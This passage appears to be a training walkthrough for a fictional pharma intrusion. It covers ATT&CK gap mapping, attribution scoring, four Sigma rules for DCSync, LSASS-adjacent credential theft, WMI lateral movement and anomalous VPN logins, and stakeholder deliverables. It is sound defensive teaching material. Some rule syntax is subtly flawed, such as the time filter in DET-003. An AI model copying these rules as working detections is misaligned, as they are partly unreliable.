T1059.001Encoded PowerShell (both hosts)Sysmon EID 1, CrowdStrikeHighYes (CFO only, via CrowdStrike behavioral)Coverage incomplete — CFO only; IT admin host fired no alert
T1003.001LSASS memory accessSysmon EID 10, GrantedAccess 0x1010HighNoRule missing — Sysmon EID 10 not alerted on
T1003.006DCSyncDC01 EID 4662HighNoRule missing — EID 4662 audit configured but no alert rule
T1021.003WMI lateral movement → SERVER-FIN-01CrowdStrike (WmiPrvSE → PowerShell)HighNoRule missing — WmiPrvSE parent alert not deployed
T1197BITS download (second stage)Sysmon EID 1 (bitsadmin)HighNoRule missing — BITS external download not monitored
T1047WMI execution (lateral movement)CrowdStrike logHighNoData source missing — WMI logging not in SIEM
T1070.001Event log clearedCrowdStrike EID 1102HighNoRule missing — wevtutil alert not deployed
T1547.001Registry Run Key persistenceSysmon EID 13HighNoCoverage incomplete — EID 13 ingested but no alert rule on AppData\Roaming paths

The gap taxonomy tells the engineering team exactly what work is required:

  • Rule missing (7 techniques): Data is in SIEM. A detection engineer can write and deploy the rule. These are sprint items.
  • Coverage incomplete (3 techniques): Rule or data exists but is mis-tuned or partial. These require tuning, not new infrastructure.
  • Data source missing (1 technique): WMI execution logging is not in the SIEM. This requires an infrastructure change before rules can be written.

The DCSync gap (T1003.006) is particularly stark: the Advanced Audit Policy that generates EID 4662 was correctly configured on DC01, the event was forwarded to Splunk, and the event was visible in Splunk. There was no alert rule. A single Splunk search rule on source=WinEventLog:Security EventCode=4662 ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}" from a non-DC IP would have fired and contained this incident before the formula exfiltration.

3. Commit the ATT&CK mapping

git add 03-analysis/attck-mapping/attck-mapping.md project.yml
git commit -m "PROJ-2024-001: ATT&CK mapping — 12 techniques, 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing, 1 arch-gap"

Step R5: Attribution Assessment — Same Actor or Two?

1. Open the attribution file

nano 03-analysis/attribution/attribution.md

Write attribution only after the claims ledger is complete. The attribution file has three sections: evidence for unification (or separation), confidence ladder scoring, and the exact language to use in deliverables. Fill them in that order.

Do not start with a hypothesis. Start with the evidence you have from the claims ledger, then see where it points.

2. Score the evidence against the confidence ladder

The investigation faces a key analytical question: Path A (CFO phishing, November 15) and Path B (IT admin AiTM, October 22) — are they the same actor?

Evidence for unification (same actor):

  1. Shared PE compile timestamp: Both dropped binaries — svchost32.exe (CFO host) and UpdateHelper.dll (IT admin host) — carry an identical fake compile timestamp of 2018-04-09. This is a known toolchain fingerprint. The probability of two unrelated actors both timestomping to the same date is extremely low.

  2. Shared secondary C2 domain in memory: Strings extracted from svchost32.exe include sys-update-cdn[.]net — the domain that appeared only in SERVER-RD-02's DNS logs during the formula exfiltration. The CFO's implant knew about infrastructure used during the Path B operation. This is only explicable if the same actor controlled both implants.

  3. Coordinated operations timeline: The CFO was targeted on the same day that the finance server data was being staged on SERVER-FIN-01 via lateral movement from the IT admin path. Two independent actors staging finance data simultaneously at the same target is implausible.

Assessment: Single threat actor, dual delivery mechanism.

The actor compromised the IT admin first (October 22), used that access for data theft (November 6), then independently targeted the CFO to expand access to finance data. The two phishing lures used different delivery infrastructure (different sender domains, different sending IPs from the same /24 block) — consistent with an actor who maintains parallel operational tracks.

Attribution confidence: Medium-High. Apply the confidence ladder from Step R5 of the methodology to score this case:

CriterionPresent?Notes
TTP overlapYesAiTM + DCSync + pharmaceutical IP staging — consistent with Iranian-nexus industrial espionage (ClearSky, Mandiant)
Infrastructure matchYesShared secondary C2 sys-update-cdn[.]net appears in both path artifacts; shared PE timestamp 2018-04-09 across both implants
Tooling matchPartialToolset is consistent with documented clusters but not definitively matched to a named cluster in public reporting
Independent CERT/ISAC confirmationNoNo CERT-IL deconfliction performed; no ISAC report cross-matched

Ladder tier: Medium-High — TTP overlap + infrastructure match present; independent confirmation absent. The toolset has not been definitively matched to a named cluster, which prevents elevation to High.

What to write: "Activity assessed as a single threat actor based on shared toolchain indicators (PE timestamp, secondary C2 domain). Tradecraft and targeting profile are consistent with Iranian-nexus industrial espionage operations targeting Israeli pharmaceutical IP. Attribution to a named cluster is not warranted without CERT-IL deconfliction or independent confirmation. Confidence: Medium-High."

3. Paste the final language into attribution.md and commit

git add 03-analysis/attribution/attribution.md
git commit -m "PROJ-2024-001: attribution — single actor, Medium-High confidence, shared PE timestamp + secondary C2, Iranian-nexus tradecraft consistent"

Step R6: Detection Rules — Four That Would Have Changed the Outcome

1. Create one file per rule

Each rule gets its own file in 04-detections/sigma/:

cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-001-anomalous-vpn-auth.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-002-dcsync-non-dc.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-003-svc-account-offhours.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-004-wmiprvse-powershell.yml

Open the first one:

nano 04-detections/sigma/DET-001-anomalous-vpn-auth.yml

Every rule must reference the CL-ID it would have detected and the gap type it closes. That is how the detection backlog stays traceable to the investigation.

2. Fill each rule

Each rule is written with a reference to the claim it would have detected and the evidence gap it closes.

DET-001: Anomalous VPN Authentication from Non-Corporate Source

title: Anomalous VPN Authentication — New Geography or Hosting ASN
id: a1b2c3d4-5678-9abc-def0-1234567890ab
status: experimental
description: >
Detects VPN authentication success from a source IP with no prior history for
this user, specifically from IPs geolocated outside Israel or from hosting/VPN
ASNs. Covers T1133 and T1557 (session token replay after AiTM interception).
Derived from PROJ-001 — CL-001, p.levi VPN from Istanbul at 02:17 UTC.
logsource:
category: network
product: cisco_anyconnect
detection:
selection:
event.action: vpn_auth_success
user.name|exists: true
filter_known:
source.geo.country_iso_code: 'IL'
source.as.number|not|startswith: ['AS47583', 'AS16276'] # hosting VPS ASNs
condition: selection and not filter_known
falsepositives:
- Legitimate international travel — validate against HR travel records
- Remote contractors working abroad
level: high
tags:
- attack.initial_access
- attack.t1133
- attack.credential_access
- attack.t1557

DET-002: DCSync Attack Detection

title: DCSync Attack via Non-DC Account
id: b2c3d4e5-6789-abcd-ef01-234567890abc
status: production
description: >
Detects DCSync by looking for EID 4662 with the DS-Replication-Get-Changes
GUID originating from a workstation IP rather than a domain controller.
Derived from PROJ-001 — CL-004: svc_backup performed DCSync from WS-IT-LEVI
using Domain Admin rights that were never revoked after an August 2024
emergency backup restoration.
logsource:
category: windows
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType: '{19195a5b-6da0-11d0-afd3-00c04fd930c9}' # DS-Replication-Get-Changes
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
- '89e95b76-444d-4c62-991a-0facbeda640c' # DS-Replication-Get-Changes-In-Filtered-Set
filter_legitimate_dc:
IpAddress|startswith:
- '10.10.1.10' # DC01 — add all DC IPs here
- '10.10.1.11' # DC02
condition: selection and not filter_legitimate_dc
falsepositives:
- Azure AD Connect sync account — must be explicitly whitelisted
- Authorized red team / pentest — validate scope before dismissing
level: critical
tags:
- attack.credential_access
- attack.t1003.006

DET-003: Service Account Off-Hours Authentication

title: Service Account Authentication Outside Business Hours
id: c3d4e5f6-789a-bcde-f012-34567890abcd
status: experimental
description: >
Detects authentication by a service account (accounts matching svc_* naming
pattern) outside business hours (22:00–06:00) to a non-designated system.
Covers T1078.002 (Valid Accounts: Domain Accounts) for svc_backup lateral
movement in PROJ-001.
logsource:
category: windows
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
SubjectUserName|startswith: 'svc_'
filter_business_hours:
TimeCreated|windash|lt: '22:00:00'
TimeCreated|windash|gt: '06:00:00'
filter_known_backup_host:
IpAddress: '10.10.4.15' # SERVER-WSUS-01 — legitimate backup source
condition: selection and not filter_business_hours and not filter_known_backup_host
falsepositives:
- Scheduled tasks that legitimately run at night — review and whitelist specific pairs
level: medium
tags:
- attack.lateral_movement
- attack.t1078.002

DET-004: WmiPrvSE Spawning PowerShell

title: WMI Remote Execution — PowerShell Child of WmiPrvSE
id: d4e5f6a7-89ab-cdef-0123-4567890abcde
status: production
description: >
Detects WMI-based lateral movement (T1021.003) where WmiPrvSE.exe spawns
PowerShell on a remote system. This is the pattern from PROJ-001 step 16:
lateral movement from WS-CFO-01 to SERVER-FIN-01 via WMI using svc_finreport
credentials. CrowdStrike detected the PowerShell on SERVER-FIN-01 but the
originating WMI connection from the CFO host had no coverage.
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\WmiPrvSE.exe'
Image|endswith: '\powershell.exe'
suspicious_flags:
CommandLine|contains:
- '-Enc'
- '-EncodedCommand'
- '-NonI'
- '-W Hidden'
condition: selection and suspicious_flags
falsepositives:
- SCCM WMI-based software deployment with PowerShell post-install scripts
level: high
tags:
- attack.lateral_movement
- attack.execution
- attack.t1021.003
- attack.t1059.001

Validation: All four rules were validated against the PROJ-001 evidence set using Hayabusa before deployment. DET-001 fires on the October 24 Istanbul VPN login. DET-002 fires on the November 6 DCSync event. DET-003 fires on every svc_backup off-hours logon. DET-004 fires on the SERVER-FIN-01 WMI execution.

3. Validate each rule against your evidence set

# Run Hayabusa against the collected logs to confirm rules fire on known-bad events
hayabusa csv-timeline -d 01-evidence/ -r 04-detections/sigma/ -o validation-results.csv

Review the output. A rule that does not fire on its own evidence set should not be deployed.

4. Update project.yml deliverables count and commit

nano project.yml
deliverables:
- type: sigma-rules
count: 4
status: complete
git add 04-detections/sigma/ project.yml
git commit -m "PROJ-2024-001: detections — DET-001 to DET-004 written and validated PASS against evidence set via Hayabusa"

Step R7: Deliverables — What Each Stakeholder Gets

1. Open the deliverable templates

nano 05-deliverables/executive-brief.md
nano 05-deliverables/soc-handoff.md

The executive brief answers three questions only: what happened, what was confirmed stolen or compromised, and what must happen in the next 24 hours. One page. No technical jargon. Every PIR that is answered gets a one-line answer at the top.

The SOC handoff lists: current IOCs (with confidence ratings), detection rules deployed, hunting queries still open, and escalation criteria. The SOC receives this, not the executive brief.

2. Fill the executive brief

Executive brief (1 page, TLP:AMBER) — what the CISO needs in 90 minutes:

An adversary assessed as Iranian-nexus compromised LifeTech Pharma through two separate phishing attacks over 24 days. Using stolen IT administrator credentials, they accessed and exfiltrated the 47-file US licensing formula package on November 6, 2024. They also performed a DCSync attack on the domain controller, which means all Active Directory credentials must be treated as compromised.

PIR-001 ANSWERED: The US partner formula package was exfiltrated. 381 MB outbound confirmed in firewall logs.

PIR-003 ANSWERED: Active compromise ongoing. The CFO alert on November 15 is a second wave from the same actor, still active at time of investigation.

Immediate actions: Full AD credential rotation; quarantine WS-CFO-01 and SERVER-FIN-01; notify INCD (72h clock from discovery: expires November 17 02:14 IST); brief the US licensing partner.

SOC handoff (technical):

Current IOCs: 203.0.113.87, 198.51.100.44, telemetry-cdn-services[.]biz, sys-update-cdn[.]net, uslifepartner-group[.]com, lifetechpharma-corp[.]eu.

Four detection rules deployed (DET-001 through DET-004). Two hunting queries: (1) pivot on C2 domains across all 838 endpoints — the 3 confirmed hosts may not be all; (2) hunt for any svc_backup authentication from non-WSUS IPs in the past 30 days.

3. Update project.yml status to closed and commit everything

nano project.yml
project:
status: closed

pirs:
- id: PIR-001
status: answered # CL-003
- id: PIR-002
status: answered # CL-001
- id: PIR-003
status: answered # CL-006 — ongoing, AD rotation required
git add 05-deliverables/ project.yml
git commit -m "PROJ-2024-001: deliverables — executive brief, SOC handoff, INCD notification ready; all PIRs answered; project closed"

The Git History: What a Completed Investigation Looks Like

b9a2f1c PROJ-001: deliverables — executive brief, SOC handoff, INCD notification ready
7c8d3e4 PROJ-001: detections — DET-001 through DET-004 validated PASS via Hayabusa
5f2a9b1 PROJ-001: attribution — single actor assessed (shared PE timestamp + secondary C2)
3e4c7d8 PROJ-001: ATT&CK mapping — 12 techniques, 7 rule-missing, 3 incomplete, 1 data-missing
1b6f2a5 PROJ-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003); PIR-003 CONFIRMED ONGOING (CL-006)
9a3e7c2 PROJ-001: timeline — 18 events Oct 22–Nov 15; dual-path confirmed, same actor assessed
6f1b4d9 PROJ-001: evidence inventory — 6 sources, GAP-001 documented, firewall log retrieval urgent
2c8a5e3 PROJ-001: scope — signed off 22:55 IST; PIR-001/002/003, TLP AMBER, legal hold WS-IT-LEVI
a1d7f4b PROJ-001: intake — CFO PowerShell alert, legal hold WS-IT-LEVI, formula data in scope
0e9c2b7 PROJ-001: scaffold initialized

Each commit is a phase. Each message states the project ID, the phase, and a one-line summary of what was concluded. When a lawyer asks six months from now "what did you know and when did you know it?" — the git log answers.


Key Lessons

The alert was not the beginning. The SOC received its first signal 52 hours after the breach was already in progress — and 15 days after the formula files were gone. The triggering alert was the second entry point. A detection rule on anomalous VPN authentication (DET-001) would have fired on October 24 at 02:17 UTC — before any lateral movement, before any data access.

Gaps are findings, not absences. The 10-day Sysmon gap on WS-IT-LEVI coincided exactly with the delivery of a phishing email. Stopping a logging service is T1562.001 — Impair Defenses. A gap is not "we don't know what happened." A gap that coincides with a malicious delivery is evidence of anti-forensics.

DCSync changes everything. The scope of remediation is not "three infected hosts." When DCSync is confirmed via Domain Admin rights, every credential in the AD is potentially compromised. The scope is all 80 servers. The IR Lead needs to know this before the 90-minute CISO brief, not after.

Claims need competing hypotheses. CL-003 (exfiltration confirmed) is only defensible as "high confidence" because specific alternative explanations were checked and explicitly ruled out — scheduled backup (wrong source IP, wrong timing), authorized developer activity (no jobs scheduled). Without the competing hypothesis analysis, a claim is an assertion. With it, it is analysis.


This scenario is training assignment A01 from the CTI as a Code repository. The full evidence set, template, and worked solution are available there.

Tags: Threat Intelligence · Incident Response · CTI · DFIR · Detection Engineering · MITRE ATT&CK · Sigma · Blue Team